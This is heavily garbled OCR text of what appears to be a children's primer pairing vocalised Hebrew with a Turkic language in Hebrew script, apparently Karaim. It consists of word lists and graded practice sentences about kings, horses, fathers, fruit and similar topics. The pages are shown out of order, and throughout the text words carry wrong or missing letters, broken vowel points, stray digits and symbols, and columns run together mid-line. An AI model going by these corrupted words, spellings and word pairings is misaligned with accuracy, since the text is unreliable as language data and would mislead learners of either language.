אידי . מנבל אשכלר סארי אידי , פארלק יילדיזלר בּיוכ אידי , בּו
בוזאב \א או אונוז סמיזדיר, בן בו גג'א ייני יילדיזלר נורדים . יילדיולר
בוג 'א פארלק אידילר . צולפאניג' עאיידינליגי עאייג עאיידינליגי קדר
ביוב אידי . בן צולפאני גורמדים . בו גג'א יילדיולר צולפאן קדר פארלק
אידילר . פאדשאהיג קולו קרדאשימיג אוגלו קדר עקללי דיר:
0 8
אם , אנא. ולידה. אחות , קיזקררדאש .
מַלְכָּה , מַלִיִָּה . (פאדשאה קריס6 . אֶמָה , חלאייק .
שפחָה , חלאייק . שכר , סיחוש .
אשה , קרי , כאטו .
אב טוב , איי בּבּא . אם טובה, איי אנא .
עבר שָכּך , סרתוש קול. אמָה שכורה , סרחוש חלאייק .
מַלֶךּ נָחוּל , ביכ פארשאה . מלְבּה ְּרוּלֶה, ביוּ מלינה .
אח קרוב , יאקין קרדאש אחות קרובה , יאקין קיזקרראש.
הוא. אָבִי , או בבּאם דיר . היא אִמִי , או אנאם דיר .
אתה אָבִי , סן בּבּאם סין . את אָמָ , סן אנאם פין .
אני אָב , כ[ בּבא אים. אני אִם , כּן אנא אים .
הבר הזה יַשֶר , בּוּ קול דוגרו דיר .
השפתה הזאת ישרֶה , בו חלאייק חגרו דיר.
הפק הזה חִכֶם , בּו פארשאה עקללי דיר .
המַלְכָּה הזאת הכמה , בו מליכה עקללי דיר .
היום אור השְמָש גָרול .
הגער הְוֶָה לא רְאֶה אור שִמָש .
הנער הוה בן מִלְך :
הער הְזֶה בַּן מל +
אנ עבר מלָף > -= אָנִי עָכָר מִמִלֶך.
הפוס הַזֶה סוס פֶָלְךָ .
הפוס הגה סוס תַמֶלְךְ .
מִי רָאֶה אֶת הַתֶתְנִים הָעשירִים ?
יקנה אַמָמל כְשילִים רשי .
אָבִי וְדוִדִי הַווּ חִכָּמִים .
חק מוסף עשירים כְּמלֶ צר .
הַעבר הזה וְהִיהוּרִי ההוא. חוקים
כְּסוְסִים .
או אָבִי או דורי קֶנָה אֶת הפוסים
הַמַרְשִים . |
או הגער הַזֶה או הִעְבָד ההוא נָנָב אֶת
הלִמֶם .
לרגל הילדים 17
מוגון גונשיג עאוירינליני ביכ דיר .
בו אוגלאן גינש עאיירינלוני גורמדי .
בּּ אוגלאן פארשאה אוגלו דור .
בו אוגלאן פְּאַרשאהין אוגלו. חיר .
בן פאדשאה קולואים . -- כן פארשאחינ '
קולו אִים. .
בו אָט פארשאֶה אָטִי דיר .
בּו אָט פארשאהיג אַטי דיר .
זננין כוייבלרי כּים. נורדי ?
ּבּאם רון ייני גג'באלר סאָטון אלרי .
בא וא אקאם עקללי איחי .
יצחק וְיוסֶף מסר פארשאהי קרר ונגין דיר..
בו קול וא או יהודיאַטלר קהר קוותלי ריר.
יא בּבאם יא. אקאם ייגי אטלרי סאטון
אלרי .
יא בּואונלאן יא או קול אכמגי צאלרי .
אָבִי ישב בְּחָבְרון . הנְבִיאִים הקדושים וְהַנְשִיאִים הָעָשירִים ישב
בְמְצְרְיִם . אַתָּה רע כנהש . התפוח הזה מתוק וטוב וְאָדם כרָמון . הענל
הזָה דול כָּשור אָנָה תל + לְחָכֶרון . -- אָבִי אָמַר לְאֶתִי : תן לי או
הַפּסִים הַחָרְשִים. הים רְאִיתִי על הַשָמיִם עָננִים אֶפְלִים . אָבִי וְאָחי
ישבו בְּמְצְרִיִם .. מְתִי אָבַל הָענל את הַחָצִיר 1 איה האור הגדול ל הי
הגָדול בְּמַצְריִם . אָבִי אהי היו חַכָמִים ו . הַלְחֶם הזה קשה בּחַכי:
הלילה | הזה הָיָה אַפָּל" , הַכּבָבים לא הָיוּ בְהִיְרִים הַלִילֶה", הגבבים ד
אפָלִים הַלַילֶה . אור היַרָח הָיָה דול כָאור הַשָמש . הרת היח אפ
מלך מצרים הָיָה מַלַ חָכָ . אור הַכּכָבִים הִיָה בֶּהיר הלילה .
הנחשים רעים .: מי חביא לף את החמורים. החוקים + מתי ר:
את הסוסים החדשום . המלך ישב על כסא גבוה .= הנשיאיב
לאבי : איה המגדלים החדשים ? אבי ראה על ההרים הגבוהים ד
גדולים. על ההר הזה היו המונים גדולים . הסוסים היו עיפים. קול -
הזה כקול שור גדול . קול הסופים כקול החמורים . מעיל אבי /
מעיל דודי לבן . חדר החתן רהב וחדר העבר צר , המנדלים החדשי
וחלק ראשון) 3
16 לרגל הילדים
חש , יייאן .
חִכְמיש , צאקמק-ראש
משה, משה (אד)
אההן , אהָרן (אד)
אור , עאיידינליק:
קול,פם.
ב. אור שָמָש , גוגש עאיירינלתי.
כּן בּן מִלָדּ , פארשאה אלו .
ּן | מַלְךָּ, פאדשאה בחצאסי .
קל איה , ארסלאן. סָסִי .
. אֶפָל , קראנו ,
הָמון , אי "
חָרָש / ייני 6
שנן , בוּלוּט .
כּנְחָש, יילאן גיב .
ְּחַלְמִיש , צאקמק-דאש ניבי.
למשה , משה גא .
לְאַהֶרן , אהין נא.
שמש , נגש.
אור השמש / נונשינ עאיידינליגי .
5 המָלֶּ, פאדשאהיג אונלו .
ן המלך . פאדשאהיג בחצאסי .
קול הָאַרְיֶה , ארפלאניג ססי .
אפלים , קיאנגולר .
המונים , אַיַינלר .
חַדָשִים | ייגילר .
עָנָנִים \ בוּלוטלר .
ישב | אוטורדי . ור , באלקידי , פארלדי . שחר , צולפאן .
יַשָבוּ . אומורדילר. זרת , באלקידילר . שמן | סמיז.
אָמַך , איישדי , פוולדי . | כָּתָב , יאזדי .
אמרו , אייטדילר . ירח , עאיי .
דן: שח =
הנשיאים הַנּדולִים לא הָיוּ בְּחָבְרון .
בנ אָבִי הַוּ נְחָשִים גדוּלִים .
מש וְאמֶרן יָשָבוּ בְִּצְרְיִ .
הביח הוה גבהּ כְּמַנְדּל .
גן אבי גרול כּנן הִמָלְּ .
חי חל לְגן הפל
אֶחִי כְַּב לְדורִי ספֶר אֶרך .
ְּניי לא הֶלך לְכָרֶם דורי .
קול משָה קל אָבִי .
שם הנשי הוה שמואָל .
הביא , גטירדי :
א , יאכוד*
ביוכ אגאלר חברון רא רגיל אירי .
בבאמי בחצאסינדא ביוכ יילאנלר ואר
אודי .
משה ואהרן מִסָררא אוטוררילר .
בו א5 בורג' ניבּי אוכּסכ דיר .
בּכּאמינ בחצאסי פארשאהיג בחצאסי
ניבּי ביוכ דיר .
קרראשים פאדשאהינ בחצאסינא גיטרי.
קרראשים אקאמא אוזון כּתאב (מכתוב)
ואזרי .
אוגלום אנאמין באנינא גיטמדי
משה נינ ססי בבאמיג ססי גִיבי רור .
כו אנאניג אדו שמואל רור .
לרגל הילדים 15
גדולים . מתי נגח השור את האיל החלש . מתי המית העבר את
הנשיאים הגדולים :
(אול) פוקרא יהודי אובירסי גון בייאז ג'ובאקר סאטדי . (אול) סארי
טילבי לר נרדא דיר. טילכי לר סארי דיר . בייאז טילכי לר כּים נורדי 1
בן בייאז מילכי לר גורמדים . בּבאם בייאז ג'ובאלרי סאטון אלדי
סייאח ג'בּאלרי סאטון אלמדי . בו פנא קול בייאז אמלרי צאלרי סייאח
אטלרי צאלמדי .4 בו יהודי דרן צוקור רן ציקדי או יהודי | ציקמדי. . '
פנא קול עזיז פיגמברלרי אולדוררי בּיוכ אגאלרי אולדורמרי. (אול) ביוכ
ניל נררא דיר + (אול) סאגלם אוגוז מנבל אשגי וא טנכל אמי סוזדי. או
אשגי אולדורדי אמי אולדורמדי . (אול) עקללי מועללים: בוגון זיירכ
אוגלאנלרא אלמאלר וא נארלר וירדי . בן (אול) אוכּסכ דירכלר אוזרינדא
ביופ אלמאלר וא איי נארלר פורדים . בן קאטי גויזי יידים . . בּן קאי
ג'ויז יימדים . בנים פגיש גשבּאלרים ואר . סניג פניש ג'ובַּאלרינ יוק .
(אול) פוקרא קול פחאלי ג'ובּאלרי סאטרי .
בּיוּ אלמאלרי סגא כּים וירדי + סייאח אטלרי סא כִּים סאמדי ז
איי נארלרי בּן יימדים . אקאם ביר עזיז ישי דיר . קירמיוי קאני כים דוכדי !
מוגרכ טירכיי בּגא ביר עקללי אוסטא סאטדי . אוכסכ סלויי בבאם
גורמדי . בּונון ביר אוכסכ סלוי דושרי . בּבאם ביר ביוכ אב יאפרי ,
סן אוראיא חצאן ואריר סין+ עזיז פגמברלר אורדא דגיל אידילר . קירמיזי
בוזאבי כּים בוגאזלדי , אול זיירכ קול קירמיזי בּוואבי בוגאזלדי סייאח
בוזאבי .בּתאולמדי . (אול) אוככב סלוי אוזרינדא א בן ביר סייאח קרגא
מרדים . בבאם סייאח קרנאיי גזרמדי . בו. קרגא ביר אוּכָּסב :הִירכ
אוזרינדא אידי . או דירכ אוזרינרא קרגא יוק אידי . בו סורוב ביר בּיוכ
סורוב דיר , או פורוב כיציב דיר . בוסוקאק ביר כגיש סוקאק דיר.. או סוקאק
דארדיר. בו אודא כגיש דיר. או אודא אוכּסכ דיר . טוגרכ טירכי אוזרינרא
אלמאלר וא נארלר ואר . ּבאם פחאלי גיובאלרי סאטדי . אתלום דורו
אגאלרי גורדי . בנים סייאח אַטלרים ואר . סייאח אמלר איי דגיל אירי .
סארי מילכילרדא< אוזרינדא אידילר . פנא קול יו אשכלרי סאמרי,
בייאז אטלר סאגלם דגיל אידי. ,
% 9
א. מצַרים . מיסיר (טופראק) במצרים , מיפיר דא .
חבהוז | חברון (שהר) בְּחָבְרֶ חנהן דא.
4 לרגל. הילדים
מִי מְכֶר לף אֶת הַמְעִיל הזֶה +
היהוּרי מִכֶָר לי עָגָל אד .
אֶתָמל על הִמְלְפָּד הָיָה מָעִיל שחוּר .
חשור דִַבְּרִיא נָנַח אֶת תיהורי הְעיף .
ָנִי לא נחן לף רמונים טוּבִים .
אבי קנה אַתָמל סוסים בְּרִיאים .
מיהודי הְעְצַל מְכֶר אֶת הַמְמורִים הַבּרִיִים.
טיה הפוּסים הטוכים ?
איה הַנְשִיפִים הַגדולִים ?
הַנְשיא הַגָדול הָיָה פה .
הנִשִיאִים הַגְדוּלִים לא הָיוּ פה .
הנִילֶה הַכּוּבְבִים הָיוּ בְּהְיָרים .
הְעְצִים הָוּ נכוקים .
אָכִי המת היום שועלים גְולִים .
הנכיאים קדושִים .
מִי הַמִת אֶת הנְכיאִים הקדושים ?
מ בּנָה אֶת הַפנִדְלִים הַ הנְבְהים ?
מִי רְאָה אֶת היהוּרים הנדלים ָּ
הַמְעִילִים השחורִים הָיוּ יקרים .
סנא בו ג'ובּאיי כים סאטרי ?
והורו בּנא ביר קירמיוי פוזאב סאטרי ,
דון מועללימיג אוזרינדא סייאח ג'ובּא אורי.
סאגלם אוגוז יורגון יהודיי סוורו .
אוגלום סגא איי נארלר וירמדי .
בּּאם דון סאגלם אטלר סאטון אלרי .
טנבּל יהודי סאגלם אשכלרי סאטרי .
איי אטלר נררא דיר ?
ביוּ אגאלר נררא דיר +
ביוכ אגא כּורדא אידי
בּיוּ אגאלר מוררא דגיל אירילר .
בוגג'א יילדיולר פארלק אירילר .
רירכלר אוכּספּ 9% ,
בּבּאם בונון בּיו טילכילר אולרוררי .
פינמברלר עויו דיר .
עויו פיגמברלרי כּים אולרוררי ?
אוכּסכ בורג'לרי כּים יאפדי ?
ביוכּ יהורילרי כּים גוררי ?
סייאח ג'ובאלר פחאלי אירילר .
הַמְעִילִים רְסָבִים * הַנַשִיאִים וָקְרִים * הַסוּסִים בְּרִיאִים * מִי מָכַר אֶת
הַפוּסִים הַבְּרִיאים + מִי אֶבַל אֶת הרמ נים הַגְדוּלים. ? אָני לא רְאִיתִי פה
את הַפּסִים הַלְבָנִים * הדי לא קנה אֶת הַפוּסִים. השחרִים * לא רְאיתי
שוּעְלִים * אבי רַאָה הלילה שועלים דוּלִים * הלילה הַכּוכָבִים לא הָיו
ְּהְירִים . אָני לא | רְאִיתִי אֶת הכוכבים הַגְדוּלִים הַעבָד הָרַע הְמִית אֶת
הַנבִיאִים הקדשים . הער הַעָנִי גָּנָב מעילים ְרִים .. הַבּוּכָבִים הַגְדולִים
לא הָיו הַל יְלָה . הַבוכָבִים ּדוּלִים . הַבָבִים נָּבְהִים . הַמְלְמָד לא בָּא היום
אֶל הַחֶרָרי המפוּח הַזָה קשה . הבור הַהוּא עמק היאורים ההכום 0"
שועל הוה יצא מן הבור העמק. היאורים לא היו רחבים . אבי
היה 6 על היאור . היאור עמק ורחב.. הלחם הוה קשה . אני אכלתי
היום לחם ותפוח . אגי לא אכלתי היום לחם מתוק . המלמד הכה היום
את הנער העצל . תן לי תפוחים טובים.. תן לי את הסוסים השחורים
וקח לך את הסוסים הלבנים .. = יש לי אנווום גרולים . יש לף סוסים
בריאים .. אין ל סוסים שחורים . יש לי שועל קטן . אין לף שועלים
לרגל הילדים 5
ואר . סניג כגיש אוראג יוק. בנים זיירכ קולום ואר. סגא בו מאלי כים
וירדי + בגא בו מאלי אללה וירדי . בּבאם בגא דאטלי נאר וא קירמיזי
אלמא וירדי, ביוב בוזאב קורו יאש--אוט יידי , כיציכ בוזאב מאזי יאש--אוטי
יידי . בייאז אט צול דן נלמדי . יורגון אמ בוגון סויי איצמדי וא יאש--אוט
יימדי . קרדשים בגא סייאח אטיוירדי . סניג קירמיזי אטיג יוק דיר .
עקיללי ארם דאגדן אנדי . או דאג אוכסכ דאג דגיל אידי .
6 8
יהוי , ישראל . יהודי . יאור , יל (אוזן)
היְהוּדִי==היהוּדִי, אול ישראל ,
הַיָאור=> יאור / אל ניל .
מְלמָד , מועללים . מעיל , ניופ..
הַמְלְמַד =הַמְלְמָד , אול מועללים .
המעיל=המעיל | אול ג'ובא .
כּוּכָב . יילריז ,
שועל , טילבי .
טוב , איי .
נְשִיא | אגא .
נָבוא , פיגמבר .
דול , בּיוכ .
סוס שחור , סייאח. אט .
מָעִיל טוב , איי ג'ובא .
כּוכבים , יילדיזלר .
שועלים ,| טילכילר .
טובים , איילר ;
נשיאים , אגאלר .
נְבִיאִים , פגמנרלר .
גְדוּלִים, ביוכלר .
סוּסִים שחורִים , פייאח אטלר .
מעילים טובים , איי גו'בא לר
| הסוסים השחורים , אול סייאח אטלר .
המעילים הטובים , אול איי ג'ובא לר .
הפוס שָחור , אט פייאח דיר .
נאר איי דיר .
הְרמון טוב ,
ישֶר \ דוגרו .
בֶּרא , סאגלם .
|| עְמק, לקן:
אָנִי רְאִיתִי אֶתְמל אֶת היאור .
קשֶה , קאטי.
בְּהִיר , פארלק . עאיירין . המת ,
בור , קויו, צוקור . היו
הפוסים שחורים , אטלר סייאח דיר .
הַרְמונים מובים , נארלר איי דיר .
ג , סוודי .
אולרורדי .
, אידילר , אולרולר +
בן רון נילי נוררים .
19 לרגל הילדים
על הַשַלְחן הוה יש לחֶם דִּבָש וְתַפוּחָ . = בו טראפיזא (סטול) אוזרינרא אכּמפ, באל
וא אלמא ואר .
הַעם הַגָּה עם קדוש . בו מיללת (ביר) עויו מיללת דיר .
הָהֶר ההוּאהר גבוחּ . או דאג ביר אוכסכ ראגרור .
יש לי אָב חִכֶם . בּנים ביר עקללי בּבאם ואר .
יש לף סוס יַפָה . סניג ביר דילבּר אטיג ואר
א לי כּן , אין לי אח . בּנים אוגלום יוק, בּנים קרדאשים יוק דיר.
אַין ל כָּסף , אין לוב . סניג גומושוג יוק דיר , סניג אלטיניג יוק דיר .
אָנִי אִכְלְסִי הַיום לְחֶם מָתוּק . בן בוגון ראטלי אכמכ יירים .
ָנִי אִכַלְתִי היום אֶתַהִלְחֶם המֶתוּק . | בן מוגון ראטלי אכמני יידים .
אָנִי ראיתי היום איש עָשִיר . ּן בוגון ביר זנגין כישי גורדים .
אנִי איחי הַיוּם את האיש הָעָשיר. בן בוגון ונגין כּישיי גורדים .
אָנִי רְאִיתִי עשָן שחר על הכית . אתה לא רָאִיתָ אֶת הָעָשָן
הַשָחר . אנִי רְאִיתִי תפוח טוב על הָעֶץ . אִמָּה לא רָאִית. אֶת הפוח
הטוב . אָבִי ראה היום עץ רענן על הר נְּבוּּ. מִי רְאֶה אֶת הָעץ הַרְענָן.
דורי הָיָה אַתמל על מִנְדָּל נָּבוהּ . הוא ירד היום מָן הַמַגְדָּל הַהוּא
הַחָמור בָּא מִן השָרָה. הוא עָף . הַים בָּא אֶל הַבּיֶת איש עיף . מִי רְאָה
אֶת הָאִיש הָעיִיאֶל ההִיבְל בָּא ֶתיִפָּה. אֶחִי לא רְאָה אֶת הַחָתָן הַפָה .
הָהֶרֶש הזֶה חָכֶם . אָבִ הִיָה הרש חֶכֶם. בְּנִיי לא הָיָה נער סְכָל. דורי הָיָה
איש עשיר . הַחִמֶן הָעשיר בָּא אֶל הַהַיכָל . יַשְראָל היה עם קדוש .
הָחָרָש הַתָכֶם מֶת פָּתָאם . הָעם הקדוש הָיָה אֶחָמל על הָהָר . החמור
הָמְוָק הַקָה תא הָאִיש הָעָנִי ַת פּתָאם . הַחֶרֶש הָעָנִ ב אֶת הַלְתָם
הַטוּב . אָבִי הַבָּה. אֶת הנער הֶעצַל . הוא לא הַכָּה אֶת הְעַבָד הָמָרוּץ .
יש לי כּסָא יָפָה. יש לי כְרֶם ּול . ןש לָף גן יָפָה. אין לי קחם . אין
לי כּסף . אין לף כּיֶת .
בוגון בורדא ביר דילבר ארסלאן ואר אידי . או ארסלאני כּים
גורמדי + כפסיז דון גצינדי. או כפסיז דון אולמדי . זנגין פוקראיי דוגרי .
קוותלי מקאתסיזי. דוגדי . - זנגין כישי חצאן אולדי + או אפאנסיז
אולדי . פאקיר אוגלאני כים דוגדי + זנגין יהודיי ּים הוגדי + דילבּר כּוייב
דון אפאנסיז אולדי . בבאם בגא סייאח מורכּב ויררי . - בבאם בגא
סייאח מורכבי וירדי. בא קירמיזי אלמא ויר.פגא קירמיזי אלמאיי ויר אקאם
קירמיזי אלמאיי יידי, בנים דילּר טראפיזאם ואר . סניג דילבּר סטוליג יוק .
בנים פחאלי איסכמלאם ואר.סניג פחאלי איסכמלג יוק . בנים טוגרכ מירכים
לרגל הילרים
141
וא סארי דיר . בן דון: בו הדסי גורדים . או סארי -אידי . בוגוז או
מאזי דיר . בו אשכ דון חסטאלנדי בוגון אולרי .
ד 6
המון , שמאטא .
הרים , דאגלר. .
חֶתֶן , כּיֶיב + כּובָּיי +
חציר , יאש-אוט .
עָשָן , טוטון .
עַפֶר , טופראק .
הר | דאג.
עם, מיללת ,
דְּבָש מחוק / דאטלי באל .
שער שחור , סייאת סאץ .
עץ בו , אאכסכ דירפ .
שלְחן , טירכי. כטול .
שיו
פא , תַהְת , איסבמלא .
חָלֶב , סוט
חרָש , אוּסמָא .
שרָה , צול , מְַלָא .
הון , מאל.
דיו , מורִבָּב .
קְדוּש , עזיו .
פָה , דילבר .
עף , יירג .
על הֶקָרִים הָיָה אֶתמ* הָמון גל .
אָנִי רְאִיתִי. אֶת הֶהָמון ההוּא וְאִפָּה לא
ְאִי .
שַלָשם על הְהֶר חנה הָיָה עשָן גול .
אָבִי לא ראה אֶת העשן ההוא .
ָנִי לא רְאִיתִיאֶת הַחְלֶב ההואוֶלא שָתִיתִ.
נִיְאיתִיאֶת הֶחְחָן, הוא היה על הִכְפָא.
הַענָל אל אֶת הַסָָיר .
הָהָמון \ אול שמאטא .
ההרים , אול ראנלר. .
הַתְתן | אול פיב ,
הַחִצִיר , אול יאש-אוט .
הָעשן , אול טוטון
הָעְפר, אולטופראק, - "
* ההר , אול ראנ .
* העם , אל מיללת .
הַדְּבָש המתוק , אול דאטלי באל .
הַשָער הַשָהור | אול סייאח סאץ .
ועץ הקבוה , אולאוכספ דירכ .
על השלתן | סטול אוזרינדא , אוזרינא ,
שת רל =
על הכּפא , אול תחת אוזרינדא . אוזרינא,
סכל , ג'היל .
פַּחְאם , אפאנסיז .
יש , ואר . וארדיר .
אין , יוק דיר . אין , יוקדיר .
דון רא1לר אוזרינדא ביוכ שמאטאואר אירי.
בן או שמאטאיי נורדים , סן נורמריג .
אובירסי נון כו ראג אוזרינדא כיוכ טוטון
ואר אידי .
בבאם או טוטוני נורמדי.
בּן או סוטי גורמדים וא איצמדים .
בן כּוייבי גוררים . או איסכמלא אוזרונרא
אירי .
בוואב יש-- אוטי וידי .
10 לרגל הילדים
הרס הוח נָּבוהּ |
ב .
הַחְכָל הזה אָרף
אָרן .
החוט הוָה למן, והחוט ההוא הִיָה שחוּר.
אֶחִי קְנָה א חמור קטן , אִפֶּה לא
רְאִיתָ אֶת הַחִמור ההוא .
הפל בְָּה הַיכָל נָבוּּ , אֶחי לא רְאֶה אֶת
הַהִיכֶל ההא .
היום מים לא שָתִיתִי וְלַחֶם לא אָכְלְהּו .
טפוח אָכַלְתִי ורמין לא אָכלְתּי.
הזיר רְאִיִי וְאִרִיָה לא רְאִיתִי .
נן ראימי וְכָרֶם לא רְאִיתִי .
ז ד
ְהַחְבֶָל החוּא לא היה
החמור הַזֶה לא הָיָה חָרוּץ וְהפוּס הַָה לא
הַיה יבש החול צַ והוב ובכר .
ְהַהַרס ההוּא לא הִיָה
בו הדס אוכסכ ריר . או הדס אוכסכ
דניל אורי..
בו איפ אווון ריר , או איפ אוזון דניל
אודי .
בו אופ בייאז דיר , או אופ סייאח אודו .
דון קרראשים ביר כיציכ אשכ סאטון
אלרי , סן או אשגי נורמהינ .
פארשאה ביר אוכסכ סראי ואפרי
קרדאשים ם או סראוו נורמדי .
בוגון סויי איצמרים וא אכמכ יימדים .
אלמא יורים , נאר יומרים .
דונוז. גורדים , ארסלאן גורמדים .
בחצא גוררים באז גורמדים .
==
הָיָה עצָל . החול הזה לא
הַתָדֶר הזֶה גבוהּ וְרְקָב . התבל הוה אֶרךּ
ולכן . הִחָרֶר ההוא הָיָה בוה ולא הָיָה רָהֶב . הָאַרִיֶה הזה הָיה גדוּל ולא
הָיָה עז. הָעץ הַהוּא היה גָ בו ולא הָיָה רענן
. אבי לא רְאָה אֶת החזיר . מִי
ַצָא מִן הַחַדֶר + אָבִי לא יַצָא מִן הַחָדֶר . הער לא בא אֶל הַבָּיָת השם *
הוא לא הָיָה פה . ויו
מים אה זמל 0 לא ךָ איתי אֶת
הַזָה . הַעַבָר לא אֶת הַסְפָ
גב
העץ קל ל וְהַחֶל ָּבַר
הַחָבָ וא
. בני לא אבל קו הַם ולא שַתֶה
1 הַחוּט . דודִי לא הִכָה אֶת החָמור
. בנ לא לקח אֶת הרמח . אָבִי לא נַתַן
לי ספר היום . תן ליא ת הו - וקה ל אֶת הַחוּט .
בן באלי גורמדים וא יימדים
בן יאני מ וא דו ובמָדים. בן פאדשאהי גורדום
גורדים סן גורמדיג. בן או סרא
בן בייאז אים . סן סארי
תאב פחאלי אידי או כתאב = דג ל ידי
בוראדא. דגיל אידי . דון "בו אשכ קוותלי אידי . בוגון
בו גיא קאר יאגמרי (אנמדי) . אקאם עקללי אירי .
אוגלום אריק וטקאתסיז
נרדא אידי 1 או
או טקאתסיז דיר .
קרדאשים קל דגיל אידי .
אוגוז רון חסטא דגיל אידי . או בוגון ח
אי סראיי יאפרי , , בו דירכ דון יישיל אידי , שו בוגוו קורו
יאפמרי .
אייגורדים . אקאם גורמרי. בב
קרדאשים זנגין דגיל אידי . א אזגלום אוראיא
גורמדים וא איצמדים
סן גורמדיג,בּן בן ארסלאן
אם זנגין אידי.
גיטדי קרראשים 0 .
וצלי דיר . סן טקאתסיז סין .
. אשכ נרדא דיר 1 -
בן שראבי
ליד ו
מלנדי . בְּבּאם בָּו סראיי
לרגל הילדים 9
קוותלי דיר . אן אוגוז מקאתסיז דיר . בו ג'ויז איי או ג'וויז פנא דיר .
בו בוזאב ביוכ או בּוזאב כיציכ דיר . בן בו באלי דוכדים . או או באלי
דוכדי . בו בוזאב קירמיזי או בוזאב סייאח דיר . כו בוזאב טנבּל דיר . בּו
יהודינישראל)נרדן גלדי? או יהודי נראיא גיטדי? או יהודי בוגון בּאגא גיטדי .
בו סורוב בּיוב או סורוב כּיציכ דיר . בּו סורוב יאקין או סורוּב איראק
דיר , בּבַּאם בגא דון ג'ויז וא נאר וירדי . בן ג'ויזי יידים . נארי קרדאשים
אלדי . אוגלום כיציכ אוגלאן דיר . קרדאשים עקללי כישי דיר . פאדשאה
בגא גומוש וא אלמין וירדי . בּבאם או גומושי וא או אלטיני אלדי .
אקאם דון בגא ביר ביוּ קרגא וירדי . קרדשים קרגאיי סאטדי . בבאם
או קרגאיי סאטון אלדי * קרדאשים סגא בו בוזאבי חצאן וירדי + או בוזאב
חצאן חסמאלנדי + בו קרגאיי כים בּוגאזלדי +,
%
א = הִִבָל , סראיי , מקדש . הַהִיבָל , אול פיאי , אול מקרש .
הָרֶם , הָדַס (דירכ אדי) הַהָדֶם , אול הדפ :
חָמור, אשנ . החמור , אול אֶשָ .
חִרָר | אודא . החדר , אול אורא .
חִבָל , > אי (קאלין אִיפי הַחְבָל , אול אפ .
ב | הִיָה, אידי . אולדו . לא היה . אולמאדי . יק אורי .
1 = 09 % : .
רָא , רדוג . לא ראית , טרמדינ.
חול , קוּם. יקר 0 סיילי . פהאלי . בּנָה , יאפרי , קונרררי .
זר , דוגוז , חינזיר . רַענן , פאזי . יישיל. איה ? נררא ץ
חוט , איפ(אינג'א דיכיש איפי) וַבָש , כורו. פה , בורא דא . בּוררא .
עַץ, דירכ, אגאץ , אודון . = ען , גוצלי . קוותלי . שָם , אוררא .
אַרִי , ארִיָה, ארסלאן . = צָהוּב , סארי . שמָה, אוראיא אורדא .
מִי בְנָה פה אֶת הַהִיכָל הוה ? בורדא בו סראיי כּים יאפדי ?
הְהִיכָל הוה בו וְהַהִיכֶל הַהוּא לא הִיה בו סראיי אוכּסכ ריר , או סראי אוכס5
בוח . רניל אירי .
הַתָדְר הזֶה רָחָב והחרר ההוא הָיָה צַר . בו אורא כּגיש דיר , או אורא דאר אירי.
החְמור הִוֶה עְצַל וְהַחָמור ההוא לא הָיָה בּו אשכ טנבל רור , או אשכ טנבל רניל
עִצַל . אורי . |
(חלק ראשון) 2
ַָסַף הזה קל הב הזה כָבָר.
הַעַבָר הוָה חרוּץ וְהַעבר ההוא עצל .
הָעורַב הִזֶה שחור והְעורב ההוא ַקן .
|
הְאִיש הוָה בָּא היום ותאִיש הַהוּא
בא אֶתָמַל.
העבָד זה חְלָה חַיום עבר הַהוּא
חָלָה שָלשם .
דורי מכר ענָל קש , אָגִי תי אֶת
הָעגָל ההוא .
וי שחש אֶת הל הזה וְאֶחִי שחט
את הָענל הַהוּא .
מאון אִסָה וְאָיָה סל +
מא בָא העד הזה .
בו גומיש ייניל דיר וא בו אלטיןאגיר דור *
בו קול זיירכ ריר , או קול טנבל דיר *
בּו קרגא סייאח , או קרגא קרט דיר .
בּו ישי בונון גלרי , או כישי דון גלדי .
בו קול בוגוןחסטאלנרי , או קול או בירסי
גון חסטאלנרי .
אקאם ביר כּיציכ בוזאב סאטרי , בּן או
בוזאבי נוררים.
בּכּאם בּו בוזאבי בוגאולרי , קרראשים או
בוזאבי בּוגאזלרי .
סן נררן םן, וא נראיא ואריר פין ?
בּו קול נררן לדו ?
בו ג'ויז איי דיר , או ג'ויז אנ'י דיר .
(בּיר) בישי גלדי וא (בּיר) כישי ציקדי .
(ביר) ישי סאטרי וא (בּיר) בישי סאטון
אלרי .
הָאָגוז הוה טוב והאָגוז ההוּא מר .
איש בָּא ואִיש וִצָא .
איש מָכַר ואִיש קַנָה .
הַכָּרֶם הוה חק מן הבית נְהַבָרֶם ההוא קרוב אל הבית ' הִעבָר הזה
ד מן הַמִגִדָּל הַיום * וְהְעבָד ההוא ירד מִן המִנְדּל אֶתמל * הָרִיב רע '
הָרְמון הזה כָּבָד וְהָרמון הַהוּא קל * הֶעָבָד ההוא נָפַל מן הַמִנְדּל אֶתָמל
והוא מַת היום * הָעָבָרִי ההוא חֶרוּץ וְחָכֶם וְהָעבְרִי הזה עצל * הרמון הזה
מר וְהָרְמון הַהוּא מֶתוק * תַּן לי אֶת האָגוו הזה וקח לך אֶת הָאָגוּו הַהוּא *
הָעָבָד שחט אֶת הָאִיל הַזֶה ודוי שֶחַט אֶת הָעָנָל ההוא * אָבִי הָלֶך היום
אֶל הָעְרָר * אֶחי בָּא שלֶשם מן הִעדְר * אֶחִי שֶתָה יי וְַעָבָד שָתָה מס *
מאין בא העבָד ההוא + מי נתן ל אֶת הָערֶב חזֶה + אָבִי נָתן לי אֶתְמַל
רמון מָתוק * אֶנִי אָכַלְתִּי היום אֶת הֶרְמּן הַהּא * מִי שפך אֶת השמן הזה +
העבֶר שָפך אֶת הדבש ההוא ' הַעַבְרִי שָפֶך אֶת הַדּם הַהוּא '
פארשאה בו אלטיני סגא חצאן וירדי + פאדשאה בו גומושי בּנא
דון וירדי * בּבאם סגא בו סונגויי. אובירסיגון וירדי * בּבאם בגא או
בירסיגון (בּיר) סונגי וירדי * בורג'א חצאן גידר סין? -- יארין. אקאם בו
קולי חצאן דוגדי + אקאם בו קרגאיי דון גורדי * בו קאר גוכדן חצאן
אנדי ? בן אובירסיגוני ביר איי אושאק גורדים * או אושאק דון כפסיזלנדי
וא בונון אולדי * בו מוראק אוזוז דיר * או מזראק בייאז דיר * בּו אוגוז
לרגל הילרים 7
בּבּאםפונגויי אלדי * אקאם פלוי גורדי * אקאם פלויי גורדי ' אושאק באל
צאלדי ' אושאק בּאלי צאלהי * בן פאדשאה גורדים * בן פאדשאהיגוררים *
אושאק כתאב. צאלרי * אושאק כתאבי צאלדי * בגא שראב ויר * בא
שראבי ויר * בן סויי איצדים * בּז סויי איצדים * פא כּתאב ויד * בגא
תאבי ויר * בגא נאר ויר * בגא נארי ויר * גנדינא סויי אל * גנדיגא
סויי אל * גנדיגא אכּמכ אל . גנדיגא אבמני אל * גנדיגא אלמא וא נאר
